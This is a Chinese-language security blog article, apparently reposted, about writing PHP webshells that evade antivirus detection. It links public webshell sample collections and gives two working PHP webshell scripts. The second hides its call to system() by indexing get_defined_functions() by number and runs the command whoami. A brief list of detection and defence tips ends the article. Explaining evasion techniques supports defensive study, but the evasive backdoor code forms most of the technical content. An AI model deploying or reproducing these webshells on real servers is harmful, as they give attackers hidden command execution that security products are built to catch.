内容简介:WebShell就是将PHP、ASP、JSP等代码以网页形式,编写成命令、代码执行的环境。最开始用于网站的管理,后来逐渐被用于网站后门。WebShell可谓是千变万化,编程语言不同、编码不同等等衍生出大量后门。于此同时WebShell和杀软以及安全防护产品形成相互对抗的动态形势。在《攻击者发现绕过系统安全新方法:无文件攻击快速增长》一文中提到“恶意黑客开发部署恶意软件的方式发生了转变,快速转向了高度动态的攻击,可以频繁变形以躲过标准安全产品的检测。”其实并不是限于PowerShell和WMI。WebShe
1. 简介
WebShell就是将 PHP 、ASP、JSP等代码以网页形式,编写成命令、代码执行的环境。最开始用于网站的管理,后来逐渐被用于网站后门。WebShell可谓是千变万化,编程语言不同、编码不同等等衍生出大量后门。于此同时WebShell和杀软以及安全防护产品形成相互对抗的动态形势。在《攻击者发现绕过系统安全新方法:无文件攻击快速增长》一文中提到“恶意黑客开发部署恶意软件的方式发生了转变,快速转向了高度动态的攻击,可以频繁变形以躲过标准安全产品的检测。”其实并不是限于PowerShell和WMI。
2. 文件和特征
WebShell作为非常流行的后门方式,可谓变化万千,但是通常总是存在一些文件和特征,通过在杀毒软件的追踪查杀,基本能做到有迹可循。但是发现一些高级攻击,能够通过无文件、无特征、反取证技术来规避检测与权限维持。
2.1. 常见的WebShell
在GITHUB上已经有很多人员在收集WebShell,所以在我们收集样本时会非常轻松。一些常见的WebShell收集的Github如下:
1. webshell收集项目 https://github.com/tennc/webshell
2. Webshell 样本 https://github.com/ysrc/webshell-sample
在这之中,能够找到大量流行的Webshell,它们大多数存在留有文件、使用常见代码执行、命令执行函数等特点。这些脚本容易被安全产品进行检测,成为这些WebShell的弊端之一。
2.2. 无特征WebShell
在特征上能够被轻易安全产品检测,那么没有特征没有文件就能够有效规避安全产品的检测和查杀。
使用无特征WebShell分别依靠两个函数:
1、ignore_user_abort
详解:ignore_user_abort适用于PHP4、5、7中,设置客户端断开连接时是否中断脚本的执行,PHP 以命令行脚本执行时,当脚本终端结束,脚本不会被立即中止,除非设置 value 为 TRUE,否则脚本输出任意字符时会被中止。
2、get_defined_functions
详解:get_defined_functions适用于PHP4>=4.0.4、PHP5、7中,返回所有已定义函数的数组。
在了解这些函数之后,那么如何让这些函数成为WebShell?
3. 无特征Webshell编写
使用get_defined_functions函数进行举例说明。使用get_defined_functions()遍历所有的函数, func_get_args()接受传来的参数,然后将特定函数放在call_user_func_array()之中进行命令执行。
使用脚本如下:
<?php function testfunc(){ $conf = get_defined_functions(); $args = func_get_args(); $conf_id = array_shift($args); $conf_name = $conf['internal'][$conf_id]; $tmp = 0; if($conf_name == "system"){ print call_user_func_array($conf_name, $args)."<br>"; $tmp = 1; } return $tmp; } for ($x=0; $x<=50000; $x++){ $tmp = testfunc($x, "whoami"); if($tmp == 1){ break; } } ?>
执行结果:
看到这点肯定会有所疑问,这个不是有特征么?我们应该如何编写无特征?请看下面的脚本。
<?php function f(){ $f = get_defined_functions()['internal']; $a = func_get_args(); $t = $f[797]($a); //797 array_shift $c = $f[$t]; return $f[549]($c, $a);//549 call_user_func_array } $tmp = f(457,"whoami");//457 system ?>
执行结果:
4. 如何检测和防御
关于如何检测?
1、这种方式通过会话流的形式已经很难检测,所以需要在终端进行防御。
2、在终端对于PHP调用函数执行过程进行严格的过滤检查,不能仅仅限于HASH或者静态函数。
3、对于PHP可读可写权限以及可以执行代码的目录进行严格限制。
4、采用虚拟化环境运行,防止对于实际以及系统造成影响。
以上就是本文的全部内容,希望对大家的学习有所帮助,也希望大家多多支持 码农网
猜你喜欢:- Pandas多维特征数据预处理及sklearn数据不均衡处理相关技术实践-大数据ML样本集案例实战
- 特征工程:特征获取、特征规范和特征存储
- 特征工程之特征缩放 & 特征编码
- 特征工程:特征设计、特征可用性评估
- [译] 为什么要做特征缩放,怎么做特征缩放,什么时候做特征缩放?特征缩放三连了解一下
- 特征金字塔特征用于目标检测
本站部分资源来源于网络,本站转载出于传递更多信息之目的,版权归原作者或者来源机构所有,如转载稿涉及版权问题,请联系我们。